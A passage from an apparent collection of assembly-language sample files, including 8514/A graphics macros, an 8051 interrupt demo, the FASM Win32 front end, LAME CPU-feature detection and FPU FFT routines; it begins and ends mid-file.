busy?\r\n           jnz       WaitLoop          ; Yes, try again.\r\n           ENDM\r\n\r\nWait_queue macro\r\n\tlocal bloop\r\n\tmov dx,GP_STATUS\r\nbloop:\r\n\tin al,dx\r\n\ttest al,02h\r\n\tjnz\tbloop\r\n\tendm\r\n\r\n\r\n\r\n\r\n\r\nrast8514 struc\r\n\tvm_type dw ?\r\n\tvm_pdepth dw ?\r\n\tvm_lib dd ?\r\n\tvm_aspect_dx dw ?\r\n\tvm_aspect_dy dw ?\r\n\tvm_reserved dd ?\r\n\tvm_w dw ?\r\n\tvm_h dw ?\r\n\tvm_x dw ?\r\n\tvm_y dw ?\r\n\tvm_xcard dd ?\r\n\tvm_ycard dd ?\r\n\tvm_screen_ix dd ?\r\n\tvm_driver_reserved dd ?\r\nrast8514 ends\r\n\r\n\r\n;\r\n; WAITQ\r\n;\r\n; Waits until the specified number of entries are available in the\r\n; command queue. AX, BX, and DX are destroyed. No error checking on the\r\n; input parameter is performed, but it must be <= 8.\r\n\r\nWAITQ      MACRO     qEntries\r\n           LOCAL     CheckQ\r\n\r\n           Mov       DX, GP_STATUS     ; Get the queue status address.\r\nCheckQ:\r\n           In        AL, DX            ; Get the status\r\n           test      AL, 0100H SHR (qEntries) ; Is the queue entry available?\r\n           Jnz       CheckQ            ; Yes if result is Zero.\r\n           ENDM\r\n;\r\n; CLRCMD\r\n;\r\n; Waits until no more commands are active.\r\n; AX, and DX may be destroyed.\r\n\r\nCLRCMD     MACRO\r\n           LOCAL     WaitLoop\r\n\r\n           mov       DX, CMD_STATUS    ; Make sure the board's not busy...\r\nWaitLoop:  in        AL, DX            ; Read the status.\r\n           test      AL, CMD_ACTIVE    ; Is the machine busy?\r\n           jnz       WaitLoop          ; Yes, try again.\r\n           ENDM\r\n\r\n;\r\n; CANC_XFER\r\n;\r\n; If we are in the pixel transfer mode, cancel out of it.\r\n\r\nCANC_XFER  MACRO\r\n           LOCAL     OK\r\n           Cmp       xferMode, 0             ; Are we in pixel transfer mode?\r\n           Je        OK                      ; No, all is well.\r\n           OUTPW     FRGD_MIX_REG, foreMix   ; Yes, restore to previous mode.\r\n           OUTPW     BKGD_MIX_REG, backMix   ; Restore all.\r\n           Mov       xferMode, 0       ; Remember that we restored it.\r\nOK:\r\n           ENDM\r\n\r\n"
  },
  {
    "path": "samples/Assembly/External Interrupt.a51",
    "content": "\tORG\t0000h\n\tSJMP\tSTART\n\tORG\t0003h\n\tLCALL\tINT0_ISR\n\tRETI\n\tORG\t000Bh\n\tLCALL\tT0_ISR\n\tRETI\n\tORG\t0013h\n\tLCALL\tINT1_ISR\n\tRETI\n\tORG\t001Bh\n\tLCALL\tT1_ISR\n\tRETI\n\tORG\t0023h\n\tLCALL\tUART_ISR\n\tRETI\n\tORG\t0030h\nSTART:\n\tMOV\tA,#11111110b\n\tSETB\tIT0\t; Set External Interrupt 0 to be falling edge triggered\n\tSETB\tEX0\t; Enable External Interrut 0\n\tSETB\tEA\t; Enable Interrupt\nLEFT:\t\t\t\n\tCJNE\tA,#01111111b,LOOP1\n\tJMP\tRIGHT\nLOOP1:\n\tMOV\tP1,A\n\tRL\tA\t\n\tLCALL\tDELAY\n\tSJMP\tLEFT\t\nRIGHT:\n\tCJNE\tA,#11111110b,LOOP2\n\tJMP\tLEFT\nLOOP2:\n\tMOV\tP1,A\n\tRR\tA\t\n\tLCALL\tDELAY\n\tSJMP\tRIGHT\n\t\nINT0_ISR:\n\tMOV\tR1,#3\nFLASH:\n\tMOV\tP1,#00h\n\tLCALL\tDELAY\n\tMOV\tP1,#0FFh\n\tLCALL\tDELAY\n\tDJNZ\tR1,FLASH\n\tRET\nT0_ISR:\n\tRET\nINT1_ISR:\n\tRET\nT1_ISR:\n\tRET\nUART_ISR:\n\tRET\n\nDELAY:\tMOV\tR5,#20\t;R5*20 mS\nD1:     MOV\tR6,#40\nD2:     MOV\tR7,#249\n\tDJNZ\tR7,$\n \tDJNZ\tR6,D2\n  \tDJNZ\tR5,D1\n   \tRET\n\tEND\n"
  },
  {
    "path": "samples/Assembly/FASM.asm",
    "content": "\n; flat assembler interface for Win32\n; Copyright (c) 1999-2014, Tomasz Grysztar.\n; All rights reserved.\n\n\tformat\tPE console\n\nsection '.text' code readable executable\n\nstart:\n\n\tmov\t[con_handle],STD_OUTPUT_HANDLE\n\tmov\tesi,_logo\n\tcall\tdisplay_string\n\n\tcall\tget_params\n\tjc\tinformation\n\n\tcall\tinit_memory\n\n\tmov\tesi,_memory_prefix\n\tcall\tdisplay_string\n\tmov\teax,[memory_end]\n\tsub\teax,[memory_start]\n\tadd\teax,[additional_memory_end]\n\tsub\teax,[additional_memory]\n\tshr\teax,10\n\tcall\tdisplay_number\n\tmov\tesi,_memory_suffix\n\tcall\tdisplay_string\n\n\tcall\t[GetTickCount]\n\tmov\t[start_time],eax\n\n\tcall\tpreprocessor\n\tcall\tparser\n\tcall\tassembler\n\tcall\tformatter\n\n\tcall\tdisplay_user_messages\n\tmovzx\teax,[current_pass]\n\tinc\teax\n\tcall\tdisplay_number\n\tmov\tesi,_passes_suffix\n\tcall\tdisplay_string\n\tcall\t[GetTickCount]\n\tsub\teax,[start_time]\n\txor\tedx,edx\n\tmov\tebx,100\n\tdiv\tebx\n\tor\teax,eax\n\tjz\tdisplay_bytes_count\n\txor\tedx,edx\n\tmov\tebx,10\n\tdiv\tebx\n\tpush\tedx\n\tcall\tdisplay_number\n\tmov\tdl,'.'\n\tcall\tdisplay_character\n\tpop\teax\n\tcall\tdisplay_number\n\tmov\tesi,_seconds_suffix\n\tcall\tdisplay_string\n      display_bytes_count:\n\tmov\teax,[written_size]\n\tcall\tdisplay_number\n\tmov\tesi,_bytes_suffix\n\tcall\tdisplay_string\n\txor\tal,al\n\tjmp\texit_program\n\ninformation:\n\tmov\tesi,_usage\n\tcall\tdisplay_string\n\tmov\tal,1\n\tjmp\texit_program\n\nget_params:\n\tmov\t[input_file],0\n\tmov\t[output_file],0\n\tmov\t[symbols_file],0\n\tmov\t[memory_setting],0\n\tmov\t[passes_limit],100\n\tcall\t[GetCommandLine]\n\tmov\tesi,eax\n\tmov\tedi,params\n    find_command_start:\n\tlodsb\n\tcmp\tal,20h\n\tje\tfind_command_start\n\tcmp\tal,22h\n\tje\tskip_quoted_name\n    skip_name:\n\tlodsb\n\tcmp\tal,20h\n\tje\tfind_param\n\tor\tal,al\n\tjz\tall_params\n\tjmp\tskip_name\n    skip_quoted_name:\n\tlodsb\n\tcmp\tal,22h\n\tje\tfind_param\n\tor\tal,al\n\tjz\tall_params\n\tjmp\tskip_quoted_name\n    find_param:\n\tlodsb\n\tcmp\tal,20h\n\tje\tfind_param\n\tcmp\tal,'-'\n\tje\toption_param\n\tcmp\tal,0Dh\n\tje\tall_params\n\tor\tal,al\n\tjz\tall_params\n\tcmp\t[input_file],0\n\tjne\tget_output_file\n\tmov\t[input_file],edi\n\tjmp\tprocess_param\n      get_output_file:\n\tcmp\t[output_file],0\n\tjne\tbad_params\n\tmov\t[output_file],edi\n    process_param:\n\tcmp\tal,22h\n\tje\tstring_param\n    copy_param:\n\tstosb\n\tlodsb\n\tcmp\tal,20h\n\tje\tparam_end\n\tcmp\tal,0Dh\n\tje\tparam_end\n\tor\tal,al\n\tjz\tparam_end\n\tjmp\tcopy_param\n    string_param:\n\tlodsb\n\tcmp\tal,22h\n\tje\tstring_param_end\n\tcmp\tal,0Dh\n\tje\tparam_end\n\tor\tal,al\n\tjz\tparam_end\n\tstosb\n\tjmp\tstring_param\n    option_param:\n\tlodsb\n\tcmp\tal,'m'\n\tje\tmemory_option\n\tcmp\tal,'M'\n\tje\tmemory_option\n\tcmp\tal,'p'\n\tje\tpasses_option\n\tcmp\tal,'P'\n\tje\tpasses_option\n\tcmp\tal,'s'\n\tje\tsymbols_option\n\tcmp\tal,'S'\n\tje\tsymbols_option\n    bad_params:\n\tstc\n\tret\n    get_option_value:\n\txor\teax,eax\n\tmov\tedx,eax\n    get_option_digit:\n\tlodsb\n\tcmp\tal,20h\n\tje\toption_value_ok\n\tcmp\tal,0Dh\n\tje\toption_value_ok\n\tor\tal,al\n\tjz\toption_value_ok\n\tsub\tal,30h\n\tjc\tinvalid_option_value\n\tcmp\tal,9\n\tja\tinvalid_option_value\n\timul\tedx,10\n\tjo\tinvalid_option_value\n\tadd\tedx,eax\n\tjc\tinvalid_option_value\n\tjmp\tget_option_digit\n    option_value_ok:\n\tdec\tesi\n\tclc\n\tret\n    invalid_option_value:\n\tstc\n\tret\n    memory_option:\n\tlodsb\n\tcmp\tal,20h\n\tje\tmemory_option\n\tcmp\tal,0Dh\n\tje\tbad_params\n\tor\tal,al\n\tjz\tbad_params\n\tdec\tesi\n\tcall\tget_option_value\n\tor\tedx,edx\n\tjz\tbad_params\n\tcmp\tedx,1 shl (32-10)\n\tjae\tbad_params\n\tmov\t[memory_setting],edx\n\tjmp\tfind_param\n    passes_option:\n\tlodsb\n\tcmp\tal,20h\n\tje\tpasses_option\n\tcmp\tal,0Dh\n\tje\tbad_params\n\tor\tal,al\n\tjz\tbad_params\n\tdec\tesi\n\tcall\tget_option_value\n\tor\tedx,edx\n\tjz\tbad_params\n\tcmp\tedx,10000h\n\tja\tbad_params\n\tmov\t[passes_limit],dx\n\tjmp\tfind_param\n    symbols_option:\n\tmov\t[symbols_file],edi\n      find_symbols_file_name:\n\tlodsb\n\tcmp\tal,20h\n\tjne\tprocess_param\n\tjmp\tfind_symbols_file_name\n    param_end:\n\tdec\tesi\n    string_param_end:\n\txor\tal,al\n\tstosb\n\tjmp\tfind_param\n    all_params:\n\tcmp\t[input_file],0\n\tje\tbad_params\n\tclc\n\tret\n\ninclude 'system.inc'\n\ninclude '..\\errors.inc'\ninclude '..\\symbdump.inc'\ninclude '..\\preproce.inc'\ninclude '..\\parser.inc'\ninclude '..\\exprpars.inc'\ninclude '..\\assemble.inc'\ninclude '..\\exprcalc.inc'\ninclude '..\\formats.inc'\ninclude '..\\x86_64.inc'\ninclude '..\\avx.inc'\n\ninclude '..\\tables.inc'\ninclude '..\\messages.inc'\n\nsection '.data' data readable writeable\n\ninclude '..\\version.inc'\n\n_copyright db 'Copyright (c) 1999-2014, Tomasz Grysztar',0Dh,0Ah,0\n\n_logo db 'flat assembler  version ',VERSION_STRING,0\n_usage db 0Dh,0Ah\n       db 'usage: fasm <source> [output]',0Dh,0Ah\n       db 'optional settings:',0Dh,0Ah\n       db ' -m <limit>    set the limit in kilobytes for the available memory',0Dh,0Ah\n       db ' -p <limit>    set the maximum allowed number of passes',0Dh,0Ah\n       db ' -s <file>     dump symbolic information for debugging',0Dh,0Ah\n       db 0\n_memory_prefix db '  (',0\n_memory_suffix db ' kilobytes memory)',0Dh,0Ah,0\n_passes_suffix db ' passes, ',0\n_seconds_suffix db ' seconds, ',0\n_bytes_suffix db ' bytes.',0Dh,0Ah,0\n\nalign 4\n\ninclude '..\\variable.inc'\n\ncon_handle dd ?\nmemory_setting dd ?\nstart_time dd ?\nbytes_count dd ?\ndisplayed_count dd ?\ncharacter db ?\nlast_displayed rb 2\n\nparams rb 1000h\noptions rb 1000h\nbuffer rb 4000h\n\nstack 10000h\n\nsection '.idata' import data readable writeable\n\n  dd 0,0,0,rva kernel_name,rva kernel_table\n  dd 0,0,0,0,0\n\n  kernel_table:\n    ExitProcess dd rva _ExitProcess\n    CreateFile dd rva _CreateFileA\n    ReadFile dd rva _ReadFile\n    WriteFile dd rva _WriteFile\n    CloseHandle dd rva _CloseHandle\n    SetFilePointer dd rva _SetFilePointer\n    GetCommandLine dd rva _GetCommandLineA\n    GetEnvironmentVariable dd rva _GetEnvironmentVariable\n    GetStdHandle dd rva _GetStdHandle\n    VirtualAlloc dd rva _VirtualAlloc\n    VirtualFree dd rva _VirtualFree\n    GetTickCount dd rva _GetTickCount\n    GetSystemTime dd rva _GetSystemTime\n    GlobalMemoryStatus dd rva _GlobalMemoryStatus\n    dd 0\n\n  kernel_name db 'KERNEL32.DLL',0\n\n  _ExitProcess dw 0\n    db 'ExitProcess',0\n  _CreateFileA dw 0\n    db 'CreateFileA',0\n  _ReadFile dw 0\n    db 'ReadFile',0\n  _WriteFile dw 0\n    db 'WriteFile',0\n  _CloseHandle dw 0\n    db 'CloseHandle',0\n  _SetFilePointer dw 0\n    db 'SetFilePointer',0\n  _GetCommandLineA dw 0\n    db 'GetCommandLineA',0\n  _GetEnvironmentVariable dw 0\n    db 'GetEnvironmentVariableA',0\n  _GetStdHandle dw 0\n    db 'GetStdHandle',0\n  _VirtualAlloc dw 0\n    db 'VirtualAlloc',0\n  _VirtualFree dw 0\n    db 'VirtualFree',0\n  _GetTickCount dw 0\n    db 'GetTickCount',0\n  _GetSystemTime dw 0\n    db 'GetSystemTime',0\n  _GlobalMemoryStatus dw 0\n    db 'GlobalMemoryStatus',0\n\nsection '.reloc' fixups data readable discardable\n"
  },
  {
    "path": "samples/Assembly/cpu_feat.nas",
    "content": ";\n;\n; \tassembler routines to detect CPU-features\n;\n;\tMMX / 3DNow! / SSE / SSE2\n;\n;\tfor the LAME project\n;\tFrank Klemm, Robert Hegemann 2000-10-12\n;\n\n%include \"nasm.h\"\n\n\tglobaldef\thas_MMX_nasm\n\tglobaldef\thas_3DNow_nasm\n\tglobaldef\thas_SSE_nasm\n\tglobaldef\thas_SSE2_nasm\n\n        segment_code\n\ntestCPUID:\n\tpushfd\t                        \n\tpop\teax\n\tmov\tecx,eax\n\txor\teax,0x200000\n\tpush\teax\n\tpopfd\n\tpushfd\n\tpop\teax\n\tcmp\teax,ecx\n\tret\n\n;---------------------------------------\n;\tint  has_MMX_nasm (void)\n;---------------------------------------\n\nhas_MMX_nasm:\n        pushad\n\tcall\ttestCPUID\n\tjz\treturn0\t\t; no CPUID command, so no MMX\n\n\tmov\teax,0x1\n\tCPUID\n\ttest\tedx,0x800000\n\tjz\treturn0\t\t; no MMX support\n\tjmp\treturn1\t\t; MMX support\n        \n;---------------------------------------\n;\tint  has_SSE_nasm (void)\n;---------------------------------------\n\nhas_SSE_nasm:\n        pushad\n\tcall\ttestCPUID\n\tjz\treturn0\t\t; no CPUID command, so no SSE\n        \n\tmov\teax,0x1\n\tCPUID\n\ttest\tedx,0x02000000\n\tjz\treturn0\t\t; no SSE support\n\tjmp\treturn1\t\t; SSE support\n        \n;---------------------------------------\n;\tint  has_SSE2_nasm (void)\n;---------------------------------------\n\nhas_SSE2_nasm:\n        pushad\n\tcall\ttestCPUID\n\tjz\treturn0\t\t; no CPUID command, so no SSE2\n        \n\tmov\teax,0x1\n\tCPUID\n\ttest\tedx,0x04000000\n\tjz\treturn0\t\t; no SSE2 support\n\tjmp\treturn1\t\t; SSE2 support\n        \n;---------------------------------------\n;\tint  has_3DNow_nasm (void)\n;---------------------------------------\n\nhas_3DNow_nasm:\n        pushad\n\tcall\ttestCPUID\n\tjz\treturn0\t\t; no CPUID command, so no 3DNow!\n\n\tmov\teax,0x80000000\n\tCPUID\n\tcmp\teax,0x80000000\n\tjbe\treturn0\t\t; no extended MSR(1), so no 3DNow!\n\n\tmov\teax,0x80000001\n\tCPUID\n\ttest\tedx,0x80000000\n\tjz\treturn0\t\t; no 3DNow! support\n\t\t\t\t; 3DNow! support\nreturn1:\n\tpopad\n\txor\teax,eax\n\tinc\teax\n\tret\n\nreturn0:\n\tpopad\n\txor\teax,eax\n\tret\n        \n        end\n"
  },
  {
    "path": "samples/Assembly/fftfpu.nas",
    "content": "; back port from GOGO-no coda 2.24b by Takehiro TOMINAGA\n\n; GOGO-no-coda\n;\tCopyright (C) 1999 shigeo\n;\tspecial thanks to URURI\n\n%include \"nasm.h\"\n\n\texterndef costab_fft\n\texterndef sintab_fft\n\n\tsegment_data\n\talign 32\nD_1_41421\tdd\t1.41421356\nD_1_0\tdd\t1.0\nD_0_5\tdd\t0.5\nD_0_25\tdd\t0.25\nD_0_0005\tdd\t0.0005\nD_0_0\tdd\t0.0\n\n\tsegment_code\n\n;void fht(float *fz, int n);\nproc\tfht_FPU\n\n%$fz\targ\t4\n%$n\targ\t4\n\n%$k\tlocal\t4\n\n%$f0\tlocal\t4\n%$f1\tlocal\t4\n%$f2\tlocal\t4\n%$f3\tlocal\t4\n\n%$g0\tlocal\t4\n%$g1\tlocal\t4\n%$g2\tlocal\t4\n%$g3\tlocal\t4\n\n%$s1\tlocal\t4\n%$c1\tlocal\t4\n%$s2\tlocal\t4\n%$c2\tlocal\t4\n\n%$t_s\tlocal\t4\n%$t_c\tlocal\t4\n\talloc\n\n\tpushd\tebp, ebx, esi, edi\n\nfht_FPU_1st_part:\n\nfht_FPU_2nd_part:\n\nfht_FPU_3rd_part:\n\n.do_init:\n\tmov\tr3, 16\t\t;k1*fsize = 4*fsize = k4\n\tmov\tr4, 8\t\t;kx = k1/2\n\tmov\tr2, 48\t\t;k3*fsize\n\tmov\tdword [sp(%$k)], 2\t;k = 2\n\tmov\tr0, [sp(%$fz)]\t;fi\n\tlea\tr1, [r0+8]\t\t;gi = fi + kx\n\n.do:\n.do2:\n\t;f\n\tfld\tdword [r0]\n\tfsub\tdword [r0+r3]\n\n\tfld\tdword [r0]\n\tfadd\tdword [r0+r3]\n\n\tfld\tdword [r0+r3*2]\n\tfsub\tdword [r0+r2]\n\n\tfld\tdword [r0+r3*2]\n\tfadd\tdword [r0+r2]\t\t;f2 f3 f0 f1\n\n\tfld\tst2\t\t\t;f0 f2 f3 f0 f1\n\tfadd\tst0, st1\n\tfstp\tdword [r0]\t\t;fi[0]\n\n\tfld\tst3\t\t\t;f1 f2 f3 f0 f1\n\tfadd\tst0, st2\n\tfstp\tdword [r0+r3]\t\t;fi[k1]\n\n\tfsubr\tst0, st2\t\t;f0-f2 f3 f0 f1\n\tfstp\tdword [r0+r3*2]\t\t;fi[k2]\n\n\tfsubr\tst0, st2\t\t;f1-f3 f0 f1\n\tfstp\tdword [r0+r2]\t\t;fi[k3]\n\tfcompp\n\n\t;g\n\tfld\tdword [r1]\n\tfsub\tdword [r1+r3]\n\n\tfld\tdword [r1]\n\tfadd\tdword [r1+r3]\n\n\tfld\tdword [D_1_41421]\n\tfmul\tdword [r1+r2]\n\n\tfld\tdword [D_1_41421]\n\tfmul\tdword [r1+r3*2]\t\t;g2 g3 g0 g1\n\n\tfld\tst2\t\t\t;g0 g2 g3 g0 g1\n\tfadd\tst0, st1\n\tfstp\tdword [r1]\t\t;gi[0]\n\n\tfld\tst3\t\t\t;g1 g2 g3 g0 g1\n\tfadd\tst0, st2\n\tfstp\tdword [r1+r3]\t\t;gi[k1]\n\n\tfsubr\tst0, st2\t\t;g0-g2 g3 g0 g1\n\tfstp\tdword [r1+r3*2]\t\t;gi[k2]\n\n\tfsubr\tst0, st2\t\t;g1-g3 g0 g1\n\tfstp\tdword [r1+r2]\t\t;gi[k3]\n\tfcompp\n\n\tlea\tr0, [r0+r3*4]\n\tlea\tr1, [r1+r3*4]\n\tcmp\tr0, r6\n\tjb\t.do2\n\n\n\tmov\tr0, [sp(%$k)]\n\tfld\tdword [costab_fft +r0*4]\n\tfstp\tdword [sp(%$t_c)]\n\tfld\tdword [sintab_fft +r0*4]\n\tfstp\tdword [sp(%$t_s)]\n\tfld\tdword [D_1_0]\n\tfstp\tdword [sp(%$c1)]\n\tfld\tdword [D_0_0]\n\tfstp\tdword [sp(%$s1)]\n\n.for_init:\n\tmov\tr5, 4\t\t;i = 1*fsize\n\n.for:\n\tfld\tdword [sp(%$c1)]\n\tfmul\tdword [sp(%$t_c)]\n\tfld\tdword [sp(%$s1)]\n\tfmul\tdword [sp(%$t_s)]\n\tfsubp\tst1, st0\t\t;c1\n\n\tfld\tdword [sp(%$c1)]\n\tfmul\tdword [sp(%$t_s)]\n\tfld\tdword [sp(%$s1)]\n\tfmul\tdword [sp(%$t_c)]\n\tfaddp\tst1, st0\t\t;s1 c1\n\t\n\tfld\tst1\n\tfmul\tst0, st0\t\t;c1c1 s1 c1\n\tfld\tst1\n\tfmul\tst0, st0\t\t;s1s1 c1c1 s1 c1\n\tfsubp\tst1, st0\t\t;c2 s1 c1\n\tfstp\tdword [sp(%$c2)]\t;s1 c1\n\n\tfld\tst1\t\t\t;c1 s1 c1\n\tfmul\tst0, st1\t\t;c1s1 s1 c1\n\tfadd\tst0, st0\t\t;s2 s1 c1\n\tfstp\tdword [sp(%$s2)]\t;s1 c1\n\n\tfstp\tdword [sp(%$s1)]\t;c1\n\tfstp\tdword [sp(%$c1)]\t;\n\t\n\tmov\tr0, [sp(%$fz)]\n\tadd\tr0, r5\t\t;r0 = fi\n\tmov\tr1, [sp(%$fz)]\n\tadd\tr1, r3\n\tsub\tr1, r5\t\t;r1 = gi\n\n.do3:\n\tfld\tdword [sp(%$s2)]\n\tfmul\tdword [r0+r3]\n\tfld\tdword [sp(%$c2)]\n\tfmul\tdword [r1+r3]\n\tfsubp\tst1, st0\t\t;b = s2*fi[k1] - c2*gi[k1]\n\n\tfld\tdword [sp(%$c2)]\n\tfmul\tdword [r0+r3]\n\tfld\tdword [sp(%$s2)]\n\tfmul\tdword [r1+r3]\n\tfaddp\tst1, st0\t\t;a = c2*fi[k1] + s2*gi[k1]  b\n\n\tfld\tdword [r0]\n\tfsub\tst0, st1\t\t;f1 a b\n\tfstp\tdword [sp(%$f1)]\t;a b\n\n\tfadd\tdword [r0]\t\t;f0 b\n\tfstp\tdword [sp(%$f0)]\t;b\n\n\tfld\tdword [r1]\n\tfsub\tst0, st1\t\t;g1 b\n\tfstp\tdword [sp(%$g1)]\t;b\n\n\tfadd\tdword [r1]\t\t;g0\n\tfstp\tdword [sp(%$g0)]\t;\n\n\n\tfld\tdword [sp(%$s2)]\n\tfmul\tdword [r0+r2]\n\tfld\tdword [sp(%$c2)]\n\tfmul\tdword [r1+r2]\n\tfsubp\tst1, st0\t\t;b = s2*fi[k3] - c2*gi[k3]\n\n\tfld\tdword [sp(%$c2)]\n\tfmul\tdword [r0+r2]\n\tfld\tdword [sp(%$s2)]\n\tfmul\tdword [r1+r2]\n\tfaddp\tst1, st0\t\t;a = c2*fi[k3] + s2*gi[k3]  b\n\n\tfld\tdword [r0+r3*2]\n\tfsub\tst0, st1\t\t;f3 a b\n\tfstp\tdword [sp(%$f3)]\t;a b\n\n\tfadd\tdword [r0+r3*2]\t;f2 b\n\tfstp\tdword [sp(%$f2)]\t;b\n\n\tfld\tdword [r1+r3*2]\n\tfsub\tst0, st1\t\t;g3 b\n\tfstp\tdword [sp(%$g3)]\t;b\n\n\tfadd\tdword [r1+r3*2]\t;g2\n\tfstp\tdword [sp(%$g2)]\t;\n\n\n\tfld\tdword [sp(%$s1)]\n\tfmul\tdword [sp(%$f2)]\n\tfld\tdword [sp(%$c1)]\n\tfmul\tdword [sp(%$g3)]\n\tfsubp\tst1, st0\t\t;b = s1*f2 - c1*g3\n\t\n\tfld\tdword [sp(%$c1)]\n\tfmul\tdword [sp(%$f2)]\n\tfld\tdword [sp(%$s1)]\n\tfmul\tdword [sp(%$g3)]\n\tfaddp\tst1, st0\t\t;a = c1*f2 + s1*g3  b\n\n\tfld\tdword [sp(%$f0)]\n\tfsub\tst0, st1\t\t;fi[k2] a b\n\tfstp\tdword [r0+r3*2]\n\n\tfadd\tdword [sp(%$f0)]\t;fi[0] b\n\tfstp\tdword [r0]\n\n\tfld\tdword [sp(%$g1)]\n\tfsub\tst0, st1\t\t;gi[k3] b\n\tfstp\tdword [r1+r2]\n\n\tfadd\tdword [sp(%$g1)]\t;gi[k1]\n\tfstp\tdword [r1+r3]\n\n\n\tfld\tdword [sp(%$c1)]\n\tfmul\tdword [sp(%$g2)]\n\tfld\tdword [sp(%$s1)]\n\tfmul\tdword [sp(%$f3)]\n\tfsubp\tst1, st0\t\t;b = c1*g2 - s1*f3\n\t\n\tfld\tdword [sp(%$s1)]\n\tfmul\tdword [sp(%$g2)]\n\tfld\tdword [sp(%$c1)]\n\tfmul\tdword [sp(%$f3)]\n\tfaddp\tst1, st0\t\t;a = s1*g2 + c1*f3  b\n\n\tfld\tdword [sp(%$g0)]\n\tfsub\tst0, st1\t\t;gi[k2] a b\n\tfstp\tdword [r1+r3*2]\n\n\tfadd\tdword [sp(%$g0)]\t;gi[0] b\n\tfstp\tdword [r1]\n\n\tfld\tdword [sp(%$f1)]\n\tfsub\tst0, st1\t\t;fi[k3] b\n\tfstp\tdword [r0+r2]\n\n\tfadd\tdword [sp(%$f1)]\t;fi[k1]\n\tfstp\tdword [r0+r3]\n\n\n\tlea\tr0, [r0+r3*4]\n\tlea\tr1, [r1+r3*4]\n\tcmp\tr0, r6\n\tjb near\t.do3\n\n\tadd\tr5, 4\n\tcmp\tr5, r4\n\tjb near\t.for\n\n\tcmp\tr3, [sp(%$n)]\n\tjae\t.exit\n\n\tadd\tdword [sp(%$k)], 2\t;k  += 2;\n\tlea\tr3, [r3*4]\t\t;k1 *= 4\n\tlea\tr2, [r2*4]\t\t;k3 *= 4\n\tlea\tr4, [r4*4]\t\t;kx *= 4\n\tmov\tr0, [sp(%$fz)]\t;fi\n\tlea\tr1, [r0+r4]\t\t;gi = fi + kx\n\tjmp\t.do\n\n.exit:\n\tpopd\tebp, ebx, esi, edi\nendproc\n\n;*************************************************************\n\n;void fht_FPU_FXCH(float *fz, int n);\nproc\tfht_FPU_FXCH\n\n%$fz\targ\t4\n%$n\targ\t4\n\n%$k\tlocal\t4\n\n%$f0\tlocal\t4\n%$f1\tlocal\t4\n%$f2\tlocal\t4\n%$f3\tlocal\t4\n\n%$g0\tlocal\t4\n%$g1\tlocal\t4\n%$g2\tlocal\t4\n%$g3\tlocal\t4\n\n%$s1\tlocal\t4\n%$c1\tlocal\t4\n%$s2\tlocal\t4\n%$c2\tlocal\t4\n\n%$t_s\tlocal\t4\n%$t_c\tlocal\t4\n\talloc\n\n\tpushd\tebp, ebx, esi, edi\n\nfht_FPU_FXCH_1st_part:\n\nfht_FPU_FXCH_2nd_part:\n\nfht_FPU_FXCH_3rd_part:\n\n.do_init:\n\tmov\tr3, 16\t\t;k1*fsize = 4*fsize = k4\n\tmov\tr4, 8\t\t;kx = k1/2\n\tmov\tr2, 48\t\t;k3*fsize\n\tmov\tdword [sp(%$k)], 2\t;k = 2\n\tmov\tr0, [sp(%$fz)]\t;fi\n\tlea\tr1, [r0+8]\t\t;gi = fi + kx\n\n.do:\n.do2:\n\t;f\n\tfld\tdword [r0]\n\tfsub\tdword [r0+r3]\n\tfld\tdword [r0]\n\tfadd\tdword [r0+r3]\n\n\tfld\tdword [r0+r3*2]\n\tfsub\tdword [r0+r2]\n\tfld\tdword [r0+r3*2]\n\tfadd\tdword [r0+r2]\t\t;f2 f3 f0 f1\n\n\tfld\tst3\n\tfld\tst3\n\tfxch\tst5\n\tfadd\tst0, st3\n\tfxch\tst4\n\tfadd\tst0, st2\n\tfxch\tst3\n\tfsubp\tst1, st0\n\tfxch\tst1\n\tfsubp\tst4, st0\n\tfxch\tst2\n\n\tfstp\tdword [r0+r3]\t\t;fi[k1]\n\tfstp\tdword [r0]\t\t;fi[0]\n\tfstp\tdword [r0+r2]\t\t;fi[k3]\n\tfstp\tdword [r0+r3*2]\t\t;fi[k2]\n\n\t;g\n\tfld\tdword [r1]\n\tfsub\tdword [r1+r3]\n\tfld\tdword [r1]\n\tfadd\tdword [r1+r3]\n\n\tfld\tdword [D_1_41421]\n\tfmul\tdword [r1+r2]\n\tfld\tdword [D_1_41421]\n\tfmul\tdword [r1+r3*2]\t\t;g2 g3 g0 g1\n\n\tfld\tst3\n\tfld\tst3\n\tfxch\tst5\n\tfadd\tst0, st3\n\tfxch\tst4\n\tfadd\tst0, st2\n\tfxch\tst3\n\tfsubp\tst1, st0\n\tfxch\tst1\n\tfsubp\tst4, st0\n\tfxch\tst2\n\n\tfstp\tdword [r1+r3]\t\t;gi[k1]\n\tfstp\tdword [r1]\t\t;gi[0]\n\tfstp\tdword [r1+r2]\t\t;gi[k3]\n\tfstp\tdword [r1+r3*2]\t\t;gi[k2]\n\n\tlea\tr0, [r0+r3*4]\n\tlea\tr1, [r1+r3*4]\n\tcmp\tr0, r6\n\tjb\t.do2\n\n\n\tmov\tr0, [sp(%$k)]\n\tfld\tdword [costab_fft +r0*4]\n\tfld\tdword [sintab_fft +r0*4]\n\tfld\tdword [D_1_0]\n\tfld\tdword [D_0_0]\n\tfxch\tst3\n\tfstp\tdword [sp(%$t_c)]\n\tfxch\tst1\n\tfstp\tdword [sp(%$t_s)]\n\tfstp\tdword [sp(%$c1)]\n\tfstp\tdword [sp(%$s1)]\n\n.for_init:\n\tmov\tr5, 4\t\t;i = 1*fsize\n\n.for:\n\tfld\tdword [sp(%$c1)]\n\tfmul\tdword [sp(%$t_c)]\n\tfld\tdword [sp(%$s1)]\n\tfmul\tdword [sp(%$t_s)]\n\n\tfld\tdword [sp(%$c1)]\n\tfmul\tdword [sp(%$t_s)]\n\tfld\tdword [sp(%$s1)]\n\tfmul\tdword [sp(%$t_c)]\n\tfxch\tst2\n\tfsubp\tst3, st0\t\t;c1\n\tfaddp\tst1, st0\t\t;s1 c1\n\t\n\tfld\tst1\n\tfxch\tst2\n\tfmul\tst0, st0\t\t;c1c1 s1 c1\n\tfld\tst1\n\tfxch\tst2\n\tfmul\tst0, st0\t\t;s1s1 c1c1 s1 c1\n\n\tfxch\tst3\n\tfst\tdword [sp(%$c1)]\t;c1\n\tfxch\tst2\n\tfst\tdword [sp(%$s1)]\t;s1 c1c1 c1 s1s1\n\n\tfmulp\tst2, st0\n\tfsubrp\tst2, st0\n\tfadd\tst0, st0\t\t;s2 c2\n\tfxch\tst1\n\tfstp\tdword [sp(%$c2)]\n\tfstp\tdword [sp(%$s2)]\n\n\tmov\tr0, [sp(%$fz)]\n\tmov\tr1, 